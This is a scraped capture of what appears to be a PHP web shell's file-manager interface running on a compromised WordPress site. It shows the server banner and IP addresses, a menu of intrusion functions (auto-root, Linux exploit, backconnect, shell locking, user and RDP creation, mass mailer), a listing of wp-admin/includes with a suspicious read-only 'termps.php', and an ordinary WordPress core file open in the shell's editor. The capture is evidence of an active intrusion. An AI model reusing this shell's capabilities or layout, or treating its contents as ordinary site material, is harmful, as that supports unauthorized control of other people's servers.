FreeBSD s15.mydevil.net 14.1-RELEASE-p4 FreeBSD 14.1-RELEASE-p4 #3 releng/14.1-n267709-86d01789bf41-dirty: Thu Sep 5 04:26:54 CEST 2024 root@pkg1.admin.net.pl:/usr/obj/usr/src/amd64.amd64/sys/devil amd64
Apache/N-G-I-N-X-htaccess-support
: 128.204.218.142 | : 3.15.18.97
Cant Read [ /etc/named.conf ]
?8.1.30
art
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
home /
art /
domains /
rotarycup.pl /
public_html /
wp-admin /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
admin-filters.php
7.81
KB
-rw-r--r--
admin.php
3.54
KB
-rw-r--r--
ajax-actions.php
147.98
KB
-rw-r--r--
bookmark.php
11.34
KB
-rw-r--r--
class-automatic-upgrader-skin....
3.58
KB
-rw-r--r--
class-bulk-plugin-upgrader-ski...
2.53
KB
-rw-r--r--
class-bulk-theme-upgrader-skin...
2.6
KB
-rw-r--r--
class-bulk-upgrader-skin.php
6.59
KB
-rw-r--r--
class-core-upgrader.php
14.66
KB
-rw-r--r--
class-custom-background.php
21.11
KB
-rw-r--r--
class-custom-image-header.php
47.91
KB
-rw-r--r--
class-file-upload-upgrader.php
4.07
KB
-rw-r--r--
class-ftp-pure.php
5.3
KB
-rw-r--r--
class-ftp-sockets.php
8.28
KB
-rw-r--r--
class-ftp.php
26.66
KB
-rw-r--r--
class-language-pack-upgrader-s...
2.8
KB
-rw-r--r--
class-language-pack-upgrader.p...
15.2
KB
-rw-r--r--
class-pclzip.php
192.09
KB
-rw-r--r--
class-plugin-installer-skin.ph...
11.76
KB
-rw-r--r--
class-plugin-upgrader-skin.php
3.2
KB
-rw-r--r--
class-plugin-upgrader.php
22.79
KB
-rw-r--r--
class-theme-installer-skin.php
12.43
KB
-rw-r--r--
class-theme-upgrader-skin.php
4.08
KB
-rw-r--r--
class-theme-upgrader.php
26.17
KB
-rw-r--r--
class-walker-category-checklis...
4.78
KB
-rw-r--r--
class-walker-nav-menu-checklis...
5.5
KB
-rw-r--r--
class-walker-nav-menu-edit.php
12.94
KB
-rw-r--r--
class-wp-ajax-upgrader-skin.ph...
4.09
KB
-rw-r--r--
class-wp-application-passwords...
6.79
KB
-rw-r--r--
class-wp-automatic-updater.php
59.71
KB
-rw-r--r--
class-wp-comments-list-table.p...
31.68
KB
-rw-r--r--
class-wp-community-events.php
18.33
KB
-rw-r--r--
class-wp-debug-data.php
60.2
KB
-rw-r--r--
class-wp-filesystem-base.php
23.84
KB
-rw-r--r--
class-wp-filesystem-direct.php
17.72
KB
-rw-r--r--
class-wp-filesystem-ftpext.php
22.56
KB
-rw-r--r--
class-wp-filesystem-ftpsockets...
18.05
KB
-rw-r--r--
class-wp-filesystem-ssh2.php
22.76
KB
-rw-r--r--
class-wp-importer.php
7.29
KB
-rw-r--r--
class-wp-internal-pointers.php
4.47
KB
-rw-r--r--
class-wp-links-list-table.php
8.96
KB
-rw-r--r--
class-wp-list-table-compat.php
1.46
KB
-rw-r--r--
class-wp-list-table.php
51.61
KB
-rw-r--r--
class-wp-media-list-table.php
24.97
KB
-rw-r--r--
class-wp-ms-sites-list-table.p...
21.5
KB
-rw-r--r--
class-wp-ms-themes-list-table....
27.62
KB
-rw-r--r--
class-wp-ms-users-list-table.p...
14.86
KB
-rw-r--r--
class-wp-plugin-install-list-t...
24.14
KB
-rw-r--r--
class-wp-plugins-list-table.ph...
56.37
KB
-rw-r--r--
class-wp-post-comments-list-ta...
1.42
KB
-rw-r--r--
class-wp-posts-list-table.php
62.3
KB
-rw-r--r--
class-wp-privacy-data-export-r...
5.43
KB
-rw-r--r--
class-wp-privacy-data-removal-...
5.58
KB
-rw-r--r--
class-wp-privacy-policy-conten...
32
KB
-rw-r--r--
class-wp-privacy-requests-tabl...
13.65
KB
-rw-r--r--
class-wp-screen.php
36.45
KB
-rw-r--r--
class-wp-site-health-auto-upda...
13.19
KB
-rw-r--r--
class-wp-site-health.php
119.68
KB
-rw-r--r--
class-wp-site-icon.php
6.26
KB
-rw-r--r--
class-wp-terms-list-table.php
20.69
KB
-rw-r--r--
class-wp-theme-install-list-ta...
15.37
KB
-rw-r--r--
class-wp-themes-list-table.php
10.05
KB
-rw-r--r--
class-wp-upgrader-skin.php
6.94
KB
-rw-r--r--
class-wp-upgrader-skins.php
1.44
KB
-rw-r--r--
class-wp-upgrader.php
45.95
KB
-rw-r--r--
class-wp-users-list-table.php
18.61
KB
-rw-r--r--
comment.php
5.98
KB
-rw-r--r--
continents-cities.php
20.06
KB
-rw-r--r--
credits.php
5.8
KB
-rw-r--r--
dashboard.php
68.56
KB
-rw-r--r--
deprecated.php
40.8
KB
-rw-r--r--
edit-tag-messages.php
1.44
KB
-rw-r--r--
export.php
24.97
KB
-rw-r--r--
file.php
96.11
KB
-rw-r--r--
image-edit.php
42.34
KB
-rw-r--r--
image.php
40.89
KB
-rw-r--r--
import.php
6.52
KB
-rw-r--r--
list-table.php
3.71
KB
-rw-r--r--
media.php
116.1
KB
-rw-r--r--
menu.php
9.39
KB
-rw-r--r--
meta-boxes.php
64.58
KB
-rw-r--r--
misc.php
45.37
KB
-rw-r--r--
ms-admin-filters.php
1.27
KB
-rw-r--r--
ms-deprecated.php
3.68
KB
-rw-r--r--
ms.php
33.16
KB
-rw-r--r--
nav-menu.php
47.75
KB
-rw-r--r--
network.php
26.35
KB
-rw-r--r--
noop.php
1.12
KB
-rw-r--r--
options.php
4.15
KB
-rw-r--r--
plugin-install.php
39.01
KB
-rw-r--r--
plugin.php
90.73
KB
-rw-r--r--
post.php
79.73
KB
-rw-r--r--
privacy-tools.php
32.68
KB
-rw-r--r--
revision.php
15.76
KB
-rw-r--r--
schema.php
41.67
KB
-rw-r--r--
screen.php
6.23
KB
-rw-r--r--
taxonomy.php
8.23
KB
-rw-r--r--
template.php
96.01
KB
-rw-r--r--
termps.php
64.12
KB
-r--r--r--
theme-install.php
6.83
KB
-rw-r--r--
theme.php
46.69
KB
-rw-r--r--
translation-install.php
8.71
KB
-rw-r--r--
update-core.php
65.41
KB
-rw-r--r--
update.php
33.77
KB
-rw-r--r--
upgrade.php
110.44
KB
-rw-r--r--
user.php
22.96
KB
-rw-r--r--
widgets.php
10.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-ms-users-list-table.php
<?php /** * List Table API: WP_MS_Users_List_Table class * * @package WordPress * @subpackage Administration * @since 3.1.0 */ /** * Core class used to implement displaying users in a list table for the network admin. * * @since 3.1.0 * * @see WP_List_Table */ class WP_MS_Users_List_Table extends WP_List_Table { /** * @return bool */ public function ajax_user_can() { return current_user_can( 'manage_network_users' ); } /** * @global string $mode List table view mode. * @global string $usersearch * @global string $role */ public function prepare_items() { global $mode, $usersearch, $role; if ( ! empty( $_REQUEST['mode'] ) ) { $mode = 'excerpt' === $_REQUEST['mode'] ? 'excerpt' : 'list'; set_user_setting( 'network_users_list_mode', $mode ); } else { $mode = get_user_setting( 'network_users_list_mode', 'list' ); } $usersearch = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : ''; $users_per_page = $this->get_items_per_page( 'users_network_per_page' ); $role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : ''; $paged = $this->get_pagenum(); $args = array( 'number' => $users_per_page, 'offset' => ( $paged - 1 ) * $users_per_page, 'search' => $usersearch, 'blog_id' => 0, 'fields' => 'all_with_meta', ); if ( wp_is_large_network( 'users' ) ) { $args['search'] = ltrim( $args['search'], '*' ); } elseif ( '' !== $args['search'] ) { $args['search'] = trim( $args['search'], '*' ); $args['search'] = '*' . $args['search'] . '*'; } if ( 'super' === $role ) { $args['login__in'] = get_super_admins(); } /* * If the network is large and a search is not being performed, * show only the latest users with no paging in order to avoid * expensive count queries. */ if ( ! $usersearch && wp_is_large_network( 'users' ) ) { if ( ! isset( $_REQUEST['orderby'] ) ) { $_GET['orderby'] = 'id'; $_REQUEST['orderby'] = 'id'; } if ( ! isset( $_REQUEST['order'] ) ) { $_GET['order'] = 'DESC'; $_REQUEST['order'] = 'DESC'; } $args['count_total'] = false; } if ( isset( $_REQUEST['orderby'] ) ) { $args['orderby'] = $_REQUEST['orderby']; } if ( isset( $_REQUEST['order'] ) ) { $args['order'] = $_REQUEST['order']; } /** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */ $args = apply_filters( 'users_list_table_query_args', $args ); // Query the user IDs for this page. $wp_user_search = new WP_User_Query( $args ); $this->items = $wp_user_search->get_results(); $this->set_pagination_args( array( 'total_items' => $wp_user_search->get_total(), 'per_page' => $users_per_page, ) ); } /** * @return array */ protected function get_bulk_actions() { $actions = array(); if ( current_user_can( 'delete_users' ) ) { $actions['delete'] = __( 'Delete' ); } $actions['spam'] = _x( 'Mark as spam', 'user' ); $actions['notspam'] = _x( 'Not spam', 'user' ); return $actions; } /** */ public function no_items() { _e( 'No users found.' ); } /** * @global string $role * @return array */ protected function get_views() { global $role; $total_users = get_user_count(); $super_admins = get_super_admins(); $total_admins = count( $super_admins ); $role_links = array(); $role_links['all'] = array( 'url' => network_admin_url( 'users.php' ), 'label' => sprintf( /* translators: Number of users. */ _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_users, 'users' ), number_format_i18n( $total_users ) ), 'current' => 'super' !== $role, ); $role_links['super'] = array( 'url' => network_admin_url( 'users.php?role=super' ), 'label' => sprintf( /* translators: Number of users. */ _n( 'Super Admin <span class="count">(%s)</span>', 'Super Admins <span class="count">(%s)</span>', $total_admins ), number_format_i18n( $total_admins ) ), 'current' => 'super' === $role, ); return $this->get_views_links( $role_links ); } /** * @global string $mode List table view mode. * * @param string $which */ protected function pagination( $which ) { global $mode; parent::pagination( $which ); if ( 'top' === $which ) { $this->view_switcher( $mode ); } } /** * @return string[] Array of column titles keyed by their column name. */ public function get_columns() { $users_columns = array( 'cb' => '<input type="checkbox" />', 'username' => __( 'Username' ), 'name' => __( 'Name' ), 'email' => __( 'Email' ), 'registered' => _x( 'Registered', 'user' ), 'blogs' => __( 'Sites' ), ); /** * Filters the columns displayed in the Network Admin Users list table. * * @since MU (3.0.0) * * @param string[] $users_columns An array of user columns. Default 'cb', 'username', * 'name', 'email', 'registered', 'blogs'. */ return apply_filters( 'wpmu_users_columns', $users_columns ); } /** * @return array */ protected function get_sortable_columns() { return array( 'username' => array( 'login', false, __( 'Username' ), __( 'Table ordered by Username.' ), 'asc' ), 'name' => array( 'name', false, __( 'Name' ), __( 'Table ordered by Name.' ) ), 'email' => array( 'email', false, __( 'E-mail' ), __( 'Table ordered by E-mail.' ) ), 'registered' => array( 'id', false, _x( 'Registered', 'user' ), __( 'Table ordered by User Registered Date.' ) ), ); } /** * Handles the checkbox column output. * * @since 4.3.0 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_User $item The current WP_User object. */ public function column_cb( $item ) { // Restores the more descriptive, specific name for use within this method. $user = $item; if ( is_super_admin( $user->ID ) ) { return; } ?> <input type="checkbox" id="blog_<?php echo $user->ID; ?>" name="allusers[]" value="<?php echo esc_attr( $user->ID ); ?>" /> <label for="blog_<?php echo $user->ID; ?>"> <span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. %s: User login. */ printf( __( 'Select %s' ), $user->user_login ); ?> </span> </label> <?php } /** * Handles the ID column output. * * @since 4.4.0 * * @param WP_User $user The current WP_User object. */ public function column_id( $user ) { echo $user->ID; } /** * Handles the username column output. * * @since 4.3.0 * * @param WP_User $user The current WP_User object. */ public function column_username( $user ) { $super_admins = get_super_admins(); $avatar = get_avatar( $user->user_email, 32 ); echo $avatar; if ( current_user_can( 'edit_user', $user->ID ) ) { $edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) ); $edit = "<a href=\"{$edit_link}\">{$user->user_login}</a>"; } else { $edit = $user->user_login; } ?> <strong> <?php echo $edit; if ( in_array( $user->user_login, $super_admins, true ) ) { echo ' — ' . __( 'Super Admin' ); } ?> </strong> <?php } /** * Handles the name column output. * * @since 4.3.0 * * @param WP_User $user The current WP_User object. */ public function column_name( $user ) { if ( $user->first_name && $user->last_name ) { printf( /* translators: 1: User's first name, 2: Last name. */ _x( '%1$s %2$s', 'Display name based on first name and last name' ), $user->first_name, $user->last_name ); } elseif ( $user->first_name ) { echo $user->first_name; } elseif ( $user->last_name ) { echo $user->last_name; } else { echo '<span aria-hidden="true">—</span><span class="screen-reader-text">' . /* translators: Hidden accessibility text. */ _x( 'Unknown', 'name' ) . '</span>'; } } /** * Handles the email column output. * * @since 4.3.0 * * @param WP_User $user The current WP_User object. */ public function column_email( $user ) { echo "<a href='" . esc_url( "mailto:$user->user_email" ) . "'>$user->user_email</a>"; } /** * Handles the registered date column output. * * @since 4.3.0 * * @global string $mode List table view mode. * * @param WP_User $user The current WP_User object. */ public function column_registered( $user ) { global $mode; if ( 'list' === $mode ) { $date = __( 'Y/m/d' ); } else { $date = __( 'Y/m/d g:i:s a' ); } echo mysql2date( $date, $user->user_registered ); } /** * @since 4.3.0 * * @param WP_User $user * @param string $classes * @param string $data * @param string $primary */ protected function _column_blogs( $user, $classes, $data, $primary ) { echo '<td class="', $classes, ' has-row-actions" ', $data, '>'; echo $this->column_blogs( $user ); echo $this->handle_row_actions( $user, 'blogs', $primary ); echo '</td>'; } /** * Handles the sites column output. * * @since 4.3.0 * * @param WP_User $user The current WP_User object. */ public function column_blogs( $user ) { $blogs = get_blogs_of_user( $user->ID, true ); if ( ! is_array( $blogs ) ) { return; } foreach ( $blogs as $site ) { if ( ! can_edit_network( $site->site_id ) ) { continue; } $path = ( '/' === $site->path ) ? '' : $site->path; $site_classes = array( 'site-' . $site->site_id ); /** * Filters the span class for a site listing on the multisite user list table. * * @since 5.2.0 * * @param string[] $site_classes Array of class names used within the span tag. * Default "site-#" with the site's network ID. * @param int $site_id Site ID. * @param int $network_id Network ID. * @param WP_User $user WP_User object. */ $site_classes = apply_filters( 'ms_user_list_site_class', $site_classes, $site->userblog_id, $site->site_id, $user ); if ( is_array( $site_classes ) && ! empty( $site_classes ) ) { $site_classes = array_map( 'sanitize_html_class', array_unique( $site_classes ) ); echo '<span class="' . esc_attr( implode( ' ', $site_classes ) ) . '">'; } else { echo '<span>'; } echo '<a href="' . esc_url( network_admin_url( 'site-info.php?id=' . $site->userblog_id ) ) . '">' . str_replace( '.' . get_network()->domain, '', $site->domain . $path ) . '</a>'; echo ' <small class="row-actions">'; $actions = array(); $actions['edit'] = '<a href="' . esc_url( network_admin_url( 'site-info.php?id=' . $site->userblog_id ) ) . '">' . __( 'Edit' ) . '</a>'; $class = ''; if ( 1 === (int) $site->spam ) { $class .= 'site-spammed '; } if ( 1 === (int) $site->mature ) { $class .= 'site-mature '; } if ( 1 === (int) $site->deleted ) { $class .= 'site-deleted '; } if ( 1 === (int) $site->archived ) { $class .= 'site-archived '; } $actions['view'] = '<a class="' . $class . '" href="' . esc_url( get_home_url( $site->userblog_id ) ) . '">' . __( 'View' ) . '</a>'; /** * Filters the action links displayed next the sites a user belongs to * in the Network Admin Users list table. * * @since 3.1.0 * * @param string[] $actions An array of action links to be displayed. Default 'Edit', 'View'. * @param int $userblog_id The site ID. */ $actions = apply_filters( 'ms_user_list_site_actions', $actions, $site->userblog_id ); $action_count = count( $actions ); $i = 0; foreach ( $actions as $action => $link ) { ++$i; $separator = ( $i < $action_count ) ? ' | ' : ''; echo "<span class='$action'>{$link}{$separator}</span>"; } echo '</small></span><br />'; } } /** * Handles the default column output. * * @since 4.3.0 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_User $item The current WP_User object. * @param string $column_name The current column name. */ public function column_default( $item, $column_name ) { // Restores the more descriptive, specific name for use within this method. $user = $item; /** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */ echo apply_filters( 'manage_users_custom_column', '', $column_name, $user->ID ); } public function display_rows() { foreach ( $this->items as $user ) { $class = ''; $status_list = array( 'spam' => 'site-spammed', 'deleted' => 'site-deleted', ); foreach ( $status_list as $status => $col ) { if ( $user->$status ) { $class .= " $col"; } } ?> <tr class="<?php echo trim( $class ); ?>"> <?php $this->single_row_columns( $user ); ?> </tr> <?php } } /** * Gets the name of the default primary column. * * @since 4.3.0 * * @return string Name of the default primary column, in this case, 'username'. */ protected function get_default_primary_column_name() { return 'username'; } /** * Generates and displays row action links. * * @since 4.3.0 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_User $item User being acted upon. * @param string $column_name Current column name. * @param string $primary Primary column name. * @return string Row actions output for users in Multisite, or an empty string * if the current column is not the primary column. */ protected function handle_row_actions( $item, $column_name, $primary ) { if ( $primary !== $column_name ) { return ''; } // Restores the more descriptive, specific name for use within this method. $user = $item; $super_admins = get_super_admins(); $actions = array(); if ( current_user_can( 'edit_user', $user->ID ) ) { $edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) ); $actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>'; } if ( current_user_can( 'delete_user', $user->ID ) && ! in_array( $user->user_login, $super_admins, true ) ) { $actions['delete'] = '<a href="' . esc_url( network_admin_url( add_query_arg( '_wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), wp_nonce_url( 'users.php', 'deleteuser' ) . '&action=deleteuser&id=' . $user->ID ) ) ) . '" class="delete">' . __( 'Delete' ) . '</a>'; } /** * Filters the action links displayed under each user in the Network Admin Users list table. * * @since 3.2.0 * * @param string[] $actions An array of action links to be displayed. Default 'Edit', 'Delete'. * @param WP_User $user WP_User object. */ $actions = apply_filters( 'ms_user_row_actions', $actions, $user ); return $this->row_actions( $actions ); } }
Close